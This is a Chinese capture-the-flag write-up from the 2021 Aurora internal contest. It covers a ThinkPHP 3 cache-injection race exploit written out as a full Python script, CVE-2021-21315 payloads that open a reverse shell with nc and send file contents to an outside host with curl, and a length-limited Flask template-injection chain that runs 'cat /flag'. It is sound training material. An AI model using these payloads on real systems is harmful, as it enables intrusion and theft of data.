2021 Aurora内部赛
buy_a_flag
看了2遍大概是看懂了
以下内容是出题人的博客:https://oatmeal.vip/ctf-wp/buyaflag/
前置知识
MVC框架
tp3是一个基于MVC和面向对象的轻量级PHP开发框架,MVC即Model-View-Controll的缩写。
模板Model编写Model类,负责数据的操作;
视图View编写html文件,负责前台的页面显示;
控制器Controll编写类文件,负责后端的操作等等。
URL路由模式
tp3有几种路由模式:普通模式、PATHINFO模式、REWRITE模式、兼容模式。控制路由方式有配置文件中的参数决定,这题由于Nginx常规配置不支持PATHINFO,我使用了兼容模式。
Application目录
Application是主要应用目录,存放几乎所有的Coding。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| Application ├─Common 应用公共模块 │ ├─Common 应用公共函数目录 │ └─Conf 应用公共配置文件目录 ├─Home 默认生成的Home模块 │ ├─Conf 模块配置文件目录 │ ├─Common 模块函数公共目录 │ ├─Controller 模块控制器目录 │ ├─Model 模块模型目录 │ └─View 模块视图文件目录 ├─Runtime 运行时目录 │ ├─Cache 模版缓存目录 │ ├─Data 数据目录 │ ├─Logs 日志目录 │ └─Temp 缓存目录
|
传参方法 I()
I方法用来传参,其用法格式如下:
1
| I('变量类型.变量名/修饰符',['默认值'],['过滤方法或正则'],['额外数据源'])
|
第一个参数为传参的类型例如POST或者GET等等;后面三个参数可选,二三分别是默认值以及过滤方法,后面会讲到,本质上调用了call_user_func()
。
缓存方法S()
设置缓存的方法有两种,F方法和S方法。例子如下:
F方法缓存的文件名问data.php,生成文件位于Runtime/Data,没有经过加密。
S方法生成的缓存文件名经过md5编码,生成文件位于Runtime/Temp/,生成文件时序列化文件内容,并会注释掉文件内容,例如当你传入了1:
该生成文件的方法并不安全,注释可以使用一些特殊字符来换行绕过。
编码后的文件名也是可以被猜解的,为了避免被拆解,可以设置变量DATA_CACHE_KEY
。
弱口令登录
Bootstarp写的前端,迅速确定功能点:购买、登录、关于、登出,其中后两个功能可以不看,而购买功能需要登录。
直接看登录点,有三个地方有提示,主页的注释页:
提示存在一个guest账户,使用guest/guest就可以成功登陆。
POST $discount
登录之后的购买功能,buy后提交参数折扣$discount
,burp抓包设置为0即可购买,源码两处地方提示了$discount
参数。
后台的比较由于没有对$discount
进行类型转化,这里的$discount
传入数组等非数字类型的变量都可以成功。
下载code
tp3代码审计
先找到控制器路径shop/Application/Home/Controller/IndexController.class.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92
| <?php namespace Home\Controller; use Think\Controller;
class IndexController extends Controller { public function check() { rlog($return['code'], 'log'); } public function state() { rlog($return['code'], 'state'); } public function logout() { rlog(1, 'logout'); } public function buy($filter=null) { header('Content-Type:application/json; charset=utf-8'); $username = session('username'); if (!$username) { $return['code'] = 0; $return['message'] = '你都没登录买你emoji呢'; rlog($return['code'], 'buy'); exit(json_encode($return)); } $gid = 5; if (empty($_POST)) { $discount = 1; } else { if ($filter) { $filter = think_filter($filter)? null: $filter; } $discount = I('post.discount','',$filter); } rest(); $return = $this->code($username, $gid, $discount); rlog($return['code'], 'buy'); echo json_encode($return); } private function code($username = 'guest', $gid = 5, $discount = 1) { $info = M('good') ->WHERE('gid=' . $gid) ->FIELD('gprice') ->SELECT(); $user = M('account') ->JOIN('shop_user on shop_account.id=shop_user.id') ->FIELD('shop_user.id, currency') ->WHERE("username='" . $username. "'") ->SELECT(); $gprice = $info[0]['gprice']; $currency = $user[0]['currency']; if ($gprice * $discount > $currency) { $return['code'] = 0; $return['message'] = '没钱你买你emoji'; } else { $return['code'] = 1; $return['message'] = '购买成功,这是CODE的地址:this_is_Code_and_Have_a_g00d_t1me.zip,祝您旅途愉快。'; $data['currency'] = $user['currency'] - $info['gprice'] * $discount; M('account')->filter('strip_tags')->WHERE('id' . $user[0]['id'])->save($data); }; return $return; } }
|
可以看到在执行完state、log、logout、buy操作之后,控制器会调用一个函数rlog()来操作传入的两个参数。跟进一下,在/Application/Common/Common/function.php
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
|
function rlog($code=0, $event='') { $log = time(); if ($event == 'log') { S($log, 'log' . $code,1); } else if ($event == 'logout') { S($log, 'logout' . $code,1); } else if ($event == 'buy') { S($log, 'buy' . $code,1); } else if ($event == 'state') { S($log, 'state' . $code,1); } else { S($log, 'temp' . $code,1); }rest();rest(); unlink('Application/Runtime/Temp/' . md5($log) . '.php'); }
|
这函数看着有模有样,认真看或者Compare一下就知道其实是出题人自己加上去的函数。功能是通过S方法来缓存数据,生成缓存文件。
首先获得当前时间戳:
写缓存文件,如果传入的参数为['log', 'logout', 'state', 'buy']
事件,将事件名和成功与否的状态码$code
写入文件,文件名为当前时间戳的md5加密。
生成缓存文件后调用两次rest()
;
而rest()
本质上是sleep(1)
。
1 2 3 4
| function rest() { sleep(1); }
|
也就是说这里会等两秒,之后删除文件。
1
| unlink('Application/Runtime/Temp/' . md5($log) . '.php');
|
这种写法很熟悉有没有,很容易想到是条件竞争,rest()
是用来缓冲网络延时造成的干扰。
回头看rlog()
函数,传入两个参数$code
以及$event
,其中$code
会通过字符串拼接写入文件,那么要做的就是找到$code
参数可控点。
万能的call_user_func
I方法的第三个参数过滤函数的调用实际上通过了call_user_func()
。或者我们跟踪function.php中的call_user_func()
,找到函数,或者直接开Compare比较一下都行,这里的代码不同很明显了。
我们跟进一下I方法:
I方法在循环体内调用了函数array_map_recursive
而我们接着找,控制器中获取$discount
变量时调用了I方法,并且传入的第三个参数$filter
,而第三个参数可控。
这里的$filter经过过滤确保传入的参数没有危险函数,但是没有过滤rlog
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| function think_filter(&$value){ $pattern = "select|insert|update|delete|and|or|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex"; $pattern .= "|file_put_contents|fwrite|curl|system|eval|assert"; $pattern .="|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore"; $pattern .="|`|dl|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec"; $vpattern = explode("|",$pattern); foreach ($vpattern as $v) { if (preg_match("/$value/i", $v)) { return true; } } if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value)){ return true;
} else { return false; } }
|
如果我们调用buy()
方法,传入了$filter
参数为rlog
,在获取$_POST['discount']
变量时调用了I方法,传入的变量实际上是 call_user_func('rlog', $discount)
,而$discount
可控,在rlog
方法中,$event
默认为空(如果不为空缺省,实际上在PHP5中缺省函数也能调用,只不过会发生报错),传入的$discount
与文件内容拼接,完成注入。
POST方法如下(需要先登录):
1 2 3 4
| POST /index.php?s=/home/index/buy HTTP/1.1 Cookie: PHPSESSID=d33e9d6b455405efc0037fbeb11f1541 filter=rlog&discount=xxxxxxxx
|
调用函数后生成缓存文件并在两秒后删除,接着跳出函数,回到控制器buy,再一次调用rlog()
记录事件buy,所以这里调用了两次rlog()
,中间有一次rest()
。
所以完整的触发链子:
1 2 3
| rlog($discount, ''); rest(); rlog($return['code'], ''buy);
|
绕过Tp3缓存注释
这部分POC也比较多了,网上找一找就有了,大概是用%0a或者%0d注入文件内容,重写一行,参见链接:
ThinkPhp3.2.3缓存漏洞复现以及修复建议
EXP
循环POST提交discount,注意这里需要用unquote()
即url编码解码一次。
1 2 3 4 5 6 7 8
| def cache(): while 1: url = "http://47.75.138.18/index.php?s=/home/index/buy" discount = unquote('%0dsystem("cat /flag")//', 'utf-8') payload = {'discount': discount, 'filter': 'rlog'} headers = {'Cookie': 'PHPSESSID=2846ee569600018f0cf748bf66edd8dc'} response = requests.request("POST", url, headers=headers, data=payload)
|
同时GET请求缓存文件名,通过获取当前时间的整型值md5加密,如果返回关键字则写入文件终止循环
1 2 3 4 5 6 7 8 9 10 11 12
| def get(): while 1: t = str(int(time.time())) hl = hashlib.md5() hl.update(t.encode(encoding='utf-8')) url = "http://47.75.138.18/Application/Runtime/Temp/" + hl.hexdigest() + '.php' response = requests.get(url=url) if response.text.find('Aurora') != -1: print(response.text) f = open("flag.txt", "w") f.write(response.text) break
|
最终EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| import requests from urllib.parse import unquote import time import hashlib import threading
def login(): while 1: url = "http://47.75.138.18/index.php?s=/home/index/check.html" payload = {'username': 'guest', 'password': 'guest'} headers = {'Cookie': 'PHPSESSID=2846ee569600018f0cf748bf66edd8dc'} response = requests.request("POST", url, headers=headers, data=payload) if response.text.find("成功") != -1: print("login success!\n") print("-------------\n") break else: print("login failed!\n") print("-------------\n") def cache(): while 1: url = "http://47.75.138.18/index.php?s=/home/index/buy" discount = unquote('%0dsystem("cat /flag")//', 'utf-8') payload = {'discount': discount, 'filter': 'rlog'} headers = {'Cookie': 'PHPSESSID=2846ee569600018f0cf748bf66edd8dc'} response = requests.request("POST", url, headers=headers, data=payload) def get(): while 1: t = str(int(time.time())) hl = hashlib.md5() hl.update(t.encode(encoding='utf-8')) url = "http://47.75.138.18/Application/Runtime/Temp/" + hl.hexdigest() + '.php' response = requests.get(url=url) if response.text.find('Aurora') != -1: print(response.text) f = open("flag.txt", "w") f.write(response.text) break if __name__ == "__main__": login() threads = [threading.Thread(target=cache), threading.Thread(target=get)] for thread in threads: thread.start()
|
物理黑客攻击
题目进去是个小游戏,但是其实这个游戏和flag一点关系都没有。
正确做法是直接找到/source
源文件:
该路由中调用了Node.js的系统信息库systeminformation
,然后继续查看源码可以在package.json中看到其版本为4.34.15,会造成一个安全漏洞,而这个安全漏洞就是cve-2021-21315。
在网上找下poc:Node.js命令sanitize注入漏洞复现(CVE-2021-21315)
1
| ?service_name[]=$(nc -e /bin/sh [ip] [port])
|
然后在自己服务器上监听即可。
1
| ?service_name[]=$(curl http://t6n089.ceye.io/?a=`ls -a /|base64`)
|
这里base64编码的目的是防止有些特殊字符像空格会被过滤,将得到的数据base64解码
发现flag是藏在根目录下的隐藏文件中.fl4g
,最后把文件读一下即可
1
| ?service_name[]=$(curl http://t6n089.ceye.io/?a=`cat /.fl4g|base64`)
|
拿shell就给flag?
描述:You must shorter than me!
首先一看ping就想到命令注入或者SSRF,但是一开始没找到传参的方法,找一下响应包
提示参数是url,先尝试命令注入,命令注入需要把前一个语句闭合或者截断,然后加上自己的语句,常用的方式有;
、&
、|
、%0a
等,尝试了几个之后发现%0a
能够使用,其他被过滤了,直接ls
看一下:
能看到只有一个文件,那就看一下内容:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php $url=$_GET['url']; if(isset($url)){ if(strlen($url)>15){ echo "你多长心里没点逼数吗"; }else if(preg_match('/\*|\;|\||\&/',$url)){ echo "就你TM叫韩毅"; }else{ system("ping -c 4 $url"); } }else{ header('hint:?url='); echo '给我一个网址我帮你ping'; }
|
这里还发现过滤了几个关键的符号*
、&
、|
,而且把长度限制在15个字符内,导致很难反弹shell,而且通过测试发现也无法保存文件,权限不够。接着可以看到根目录下有flag文件,但是读不了,看一眼权限
只有root用户才能读,当前用户是www-data,看来这个用户是行不通了。
注意到根目录下还有个flask文件,尝试一下默认端口5000能不能进去
默认端口进来了,里面是一个表单提交,既然是flask那么大概率是模板注入
经过尝试之后发现似乎把长度限制在20个字符以内,那么就麻烦大了,好像没有一个读文件的payload能这么短的啊,就这样卡了好久。后来经过提示之后想到可以用几个拼接起来,既然这里有6个注入框,那么我们可以用的就有120个字符了,先找来一个短的能够用的payload:
1
| {{lipsum.__globals__.os.popen('cat /flag').read()}}
|
然后用set进行拼接:
1 2 3 4 5 6
| a={%set a=lipsum%} &b={%set b=a.__globals__%} &c={%set c=b.os%} &d={%set d=c.popen%} &e={%set e=d('cat /flag')%} &f={{e.read()}}
|
问题来了,这里一个set
和__globals__
已经超长了,再次卡住。。。
看wp后才发现原来request也能拼接,先把request进行拼接,然后把__globals__
和cat /flag
作为参数传进去即可,这样就能不超过20个字符了。
get:
1
| ?s=__globals__&t=cat /flag
|
post:
1 2 3 4 5 6
| a={%set a=lipsum%} &b={%set b=request%} &c={%set c=b.args%} &d={%set d=a[c.s].os%} &e={%set e=d.popen%} &f={{e(c.t).read()}}
|
参考资料
第一次出题(AURORA内部赛)
[AuroraCTF 2021] Buy A Flag